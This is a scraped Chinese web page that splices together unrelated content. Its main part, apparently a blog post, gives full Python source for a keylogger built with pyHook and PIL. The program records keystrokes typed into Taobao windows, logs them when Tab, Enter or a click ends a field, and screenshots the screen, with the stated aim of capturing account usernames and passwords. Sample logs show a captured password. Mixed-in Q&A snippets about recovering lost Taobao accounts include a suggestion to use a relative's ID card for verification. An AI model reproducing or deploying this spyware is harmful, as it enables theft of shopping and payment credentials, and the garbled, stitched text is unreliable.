如果淘宝不发货怎么办账号密码丢失,想要获取以前的信息怎么办?

2227人阅读
& 在上一篇文章中,通过日志记录了一些可能是用户输入的用户名或密码等信息,但如果用户在网站上输入的是其他信息,我们从中区分出敏感信息还是要花费时间来分析的,刚才想了想,将功能优化了一下。
一、思路:
&1、在抓取到用户输入的信息后,除了记录到日志中外,再给当前屏幕截一张图,以日期命名;
&2、通过对于图片名与日志中ERROR级别对应的时间点,就可以判断内容是不是敏感信息;
&3、之所以采用抓图和日志结合的方法,是因为密码在界面上不会显示出来,图片中看不到,必须结合日志,呵呵。
二、实现:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import pythoncom
import pyHook
import time
import logging
import logging.config
from PIL import ImageGrab
#日志配置文件名
LOG_FILENAME = 'hook_logging.conf'
#日志语句提示信息
LOG_CONTENT_NAME = 'taobao_input_msg'
def log_init(log_config_filename, logname):
Function:日志模块初始化函数
Input:log_config_filename:日志配置文件名
lognmae:每条日志前的提示语句
Output: logger
author: socrates
blog:http://blog.csdn.net/dyx1024
logging.config.fileConfig(log_config_filename)
logger = logging.getLogger(logname)
return logger
def onMouseEvent(event):
Function:处理鼠标左键单击事件,如果当前MSG中存放了信息,
将其写入文件,因为有的用户在输入 完用户名后,不是使用TAB键切换到密码
框,而是通过鼠标切换到密码输入窗口这种情况应该属于大多数网民的习惯,
所以此处要判断是否通过鼠标切换了输入窗口
Input:even
Output: Ture
author: socrates
blog:http://blog.csdn.net/dyx1024
global MSG
if len(MSG) != 0:
('current page:%s' % event.WindowName)
hook_logger.error('information:%s' % MSG)
#屏幕抓图实现
pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic = ImageGrab.grab()
pic.save('%s.png' % pic_name)
#保存成为以日期命名的图片
return True
def onKeyboardEvent(event):
&处理键盘事件&
Function:处理键盘事件,如果当前窗口为TAOBAO页面,刚开始监控并记录用户输入
因为此时用户可能准备输入用户名及密码进行登陆,所以将用户输入的所有可见
的ascii字符记录下来,此处要考虑用户是否使用了TAB键或回车键来
结束输入,此时要将信息记录到日志中。
Input:even
Output: Ture
author: socrates
blog:http://blog.csdn.net/dyx1024
global MSG
if event.WindowName.decode('GBK').find(u&淘宝&) != -1:
if (127 &= event.Ascii & 31) or (event.Ascii == 8):
MSG += chr(event.Ascii)
('ascii:%d(%s)' % (event.Ascii, str(event.Key)))
if (event.Ascii == 9) or (event.Ascii == 13):
('current page:%s' % event.WindowName)
hook_logger.error('information:%s' % MSG)
#屏幕抓图实现
pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic = ImageGrab.grab()
#保存成为以日期命名的图片
pic.save('%s.png' % pic_name)
return True
if __name__ == &__main__&:
Function:获取TAOBAO账号及密码,增加抓图功能
Input:NONE
Output: NONE
author: socrates
blog:http://blog.csdn.net/dyx1024
#打开日志文件
#初始化日志系统
hook_logger = log_init(LOG_FILENAME, LOG_CONTENT_NAME)
#创建hook句柄
hm = pyHook.HookManager()
hm.SubscribeMouseLeftDown(onMouseEvent)
hm.HookMouse()
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
#循环获取消息
pythoncom.PumpMessages()
三、测试:
1、记录下来的日志内容:
[ 13:03:52,530
taobao_input_msg]INFO:
ascii:105(I)
[ 13:03:53,342
taobao_input_msg]INFO:
ascii:112(P)
[ 13:03:53,640
taobao_input_msg]INFO:
ascii:104(H)
[ 13:03:54,608
taobao_input_msg]INFO:
ascii:111(O)
[ 13:04:01,655
taobao_input_msg]INFO:
ascii:110(N)
[ 13:04:01,921
taobao_input_msg]INFO:
ascii:101(E)
[ 13:04:03,937
taobao_input_msg]INFO:
ascii:52(4)
[ 13:04:04,358
taobao_input_msg]INFO:
ascii:115(S)
[ 13:04:08,640
taobao_input_msg]INFO:
current page:淘宝网 - 淘!我喜欢 - Google Chrome
[ 13:04:08,640
taobao_input_msg]ERROR:
information:iphone4s
[ 13:04:27,187
taobao_input_msg]INFO:
ascii:115(S)
[ 13:04:27,655
taobao_input_msg]INFO:
ascii:111(O)
[ 13:04:28,217
taobao_input_msg]INFO:
ascii:99(C)
[ 13:04:28,921
taobao_input_msg]INFO:
ascii:114(R)
[ 13:04:29,155
taobao_input_msg]INFO:
ascii:97(A)
[ 13:04:29,733
taobao_input_msg]INFO:
ascii:116(T)
[ 13:04:29,983
taobao_input_msg]INFO:
ascii:101(E)
[ 13:04:30,280
taobao_input_msg]INFO:
ascii:115(S)
[ 13:04:31,828
taobao_input_msg]INFO:
ascii:64(2)
[ 13:04:33,515
taobao_input_msg]INFO:
ascii:103(G)
[ 13:04:34,187
taobao_input_msg]INFO:
ascii:109(M)
[ 13:04:34,265
taobao_input_msg]INFO:
ascii:97(A)
[ 13:04:34,421
taobao_input_msg]INFO:
ascii:105(I)
[ 13:04:34,592
taobao_input_msg]INFO:
ascii:108(L)
[ 13:04:35,030
taobao_input_msg]INFO:
ascii:46(Oem_Period)
[ 13:04:35,217
taobao_input_msg]INFO:
ascii:99(C)
[ 13:04:35,342
taobao_input_msg]INFO:
ascii:111(O)
[ 13:04:35,515
taobao_input_msg]INFO:
ascii:109(M)
[ 13:04:37,812
taobao_input_msg]INFO:
current page:None
[ 13:04:37,812
taobao_input_msg]ERROR:
information:
[ 13:04:43,905
taobao_input_msg]INFO:
ascii:57(9)
[ 13:04:44,171
taobao_input_msg]INFO:
ascii:56(8)
[ 13:04:44,467
taobao_input_msg]INFO:
ascii:55(7)
[ 13:04:44,780
taobao_input_msg]INFO:
ascii:54(6)
[ 13:04:45,108
taobao_input_msg]INFO:
ascii:53(5)
[ 13:04:45,437
taobao_input_msg]INFO:
ascii:52(4)
[ 13:04:45,796
taobao_input_msg]INFO:
ascii:51(3)
[ 13:04:46,437
taobao_input_msg]INFO:
ascii:50(2)
[ 13:04:47,046
taobao_input_msg]INFO:
ascii:49(1)
[ 13:04:52,375
taobao_input_msg]INFO:
ascii:113(Q)
[ 13:04:52,765
taobao_input_msg]INFO:
ascii:119(W)
[ 13:04:53,030
taobao_input_msg]INFO:
ascii:101(E)
[ 13:04:53,328
taobao_input_msg]INFO:
ascii:114(R)
[ 13:04:53,687
taobao_input_msg]INFO:
ascii:116(T)
[ 13:04:56,640
taobao_input_msg]INFO:
current page:None
[ 13:04:56,640
taobao_input_msg]ERROR:
information:qwert
[ 13:04:57,703
taobao_input_msg]INFO:
ascii:106(J)
[ 13:04:58,155
taobao_input_msg]INFO:
ascii:116(T)
[ 13:04:59,125
taobao_input_msg]INFO:
ascii:54(6)
[ 13:05:00,328
taobao_input_msg]INFO:
ascii:121(Y)
[ 13:05:02,578
taobao_input_msg]INFO:
current page:None
[ 13:05:02,578
taobao_input_msg]ERROR:
information:jt6y
2、过滤出ERROR级别日志信息,如下:
[ 13:04:08,640
taobao_input_msg]ERROR:
information:iphone4s
[ 13:04:37,812
taobao_input_msg]ERROR:
information:
[ 13:04:56,640
taobao_input_msg]ERROR:
information:qwert
[ 13:05:02,578
taobao_input_msg]ERROR:
information:jt6y
3、查看生成的图片:
可以看出,图片名称中的时间和日志中的时间一一对应,这样就可查看每条日志打印时当前屏幕的状态。
具体看一下每条日志对应的图片:
a.&[ 13:04:08,640 &taobao_input_msg]ERROR: &information:iphone4s
b.&[ 13:04:37,812 &taobao_input_msg]ERROR: &information:
c.&[ 13:04:56,640 &taobao_input_msg]ERROR: &information:qwert &(原来这行才是密码)
d [ 13:05:02,578 &taobao_input_msg]ERROR: &information:jt6y
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:486915次
积分:7485
积分:7485
排名:第920名
原创:206篇
转载:43篇
译文:46篇
评论:295条
文章:23篇
阅读:19845
文章:51篇
阅读:20919
文章:69篇
阅读:210372
文章:16篇
阅读:46339淘宝网 我之前的手机号码认证过!可是那个号码丢失了,我现在用的这个号码认证不到了,因为身份证被占用。要怎么办?
淘宝网 我之前的手机号码认证过!可是那个号码丢失了,我现在用的这个号码认证不到了,因为身份证被占用。要怎么办?
不区分大小写匿名
换个身份证,用你家人的
找会淘宝就可以
相关知识等待您来回答
电子商务领域专家我的手机绑定了淘宝账号,但是我账号密码忘了应该怎么办,我还想用那个手机号绑定_百度知道
我的手机绑定了淘宝账号,但是我账号密码忘了应该怎么办,我还想用那个手机号绑定
我有更好的答案
按默认排序
密码忘记要何找
登录密码支付密码忘记请按照操作: 1、帮助首页点击【帮助】;
2、忘记登录密码点击【找登录密码】;忘记支付密码点击【找支付密码】按照页面提示操作;
找登陆密码 例选择适合您式找密码(根据各账户操作情况找密码式同)几种找密码式: 1、安全保护问题找密码:适用于未加入手机态口令且设置安全保护问题账户 2、 邮箱收邮件答安全密码保护问题找密码 3、手机找密码:适用于手机绑定账户 4、邮箱找密码:点击邮箱找密码邮箱收邮件根据邮件提示操作找密码 5、证件号码找:向用户支付宝账户邮箱发送封邮件用户需根据邮箱提示操作找密码 6、客服工找:向用户支付宝账户邮箱发送封邮件用户需要根据邮箱提示填写相关身份信息提交待客服<img class="word-replace" src="/api/getdecpic?picenc=0a007a内进行核实反馈 懂问我
用你绑定的手机号码发短信 申诉找回
其他类似问题
淘宝账号的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁我以前用我的QQ注册过淘宝,现在忘记了密码和安全问题。我想重新注册个账号,可是QQ邮箱已经注册,不能再用作注册。请问可以注销吗?反正就是要让我重新用我那个QQ注册到一个新的淘宝账号。
我以前用我的QQ注册过淘宝,现在忘记了密码和安全问题。我想重新注册个账号,可是QQ邮箱已经注册,不能再用作注册。请问可以注销吗?反正就是要让我重新用我那个QQ注册到一个新的淘宝账号。 5
不可以的,只能重新换一个QQ号码或者别的未注册过淘宝帐号的邮箱才可以重新注册到一个新的淘宝账号。
无法解决 重新申请邮箱吧
相关知识等待您来回答
购物领域专家

我要回帖

更多关于 淘宝卡怎么办 的文章

 

随机推荐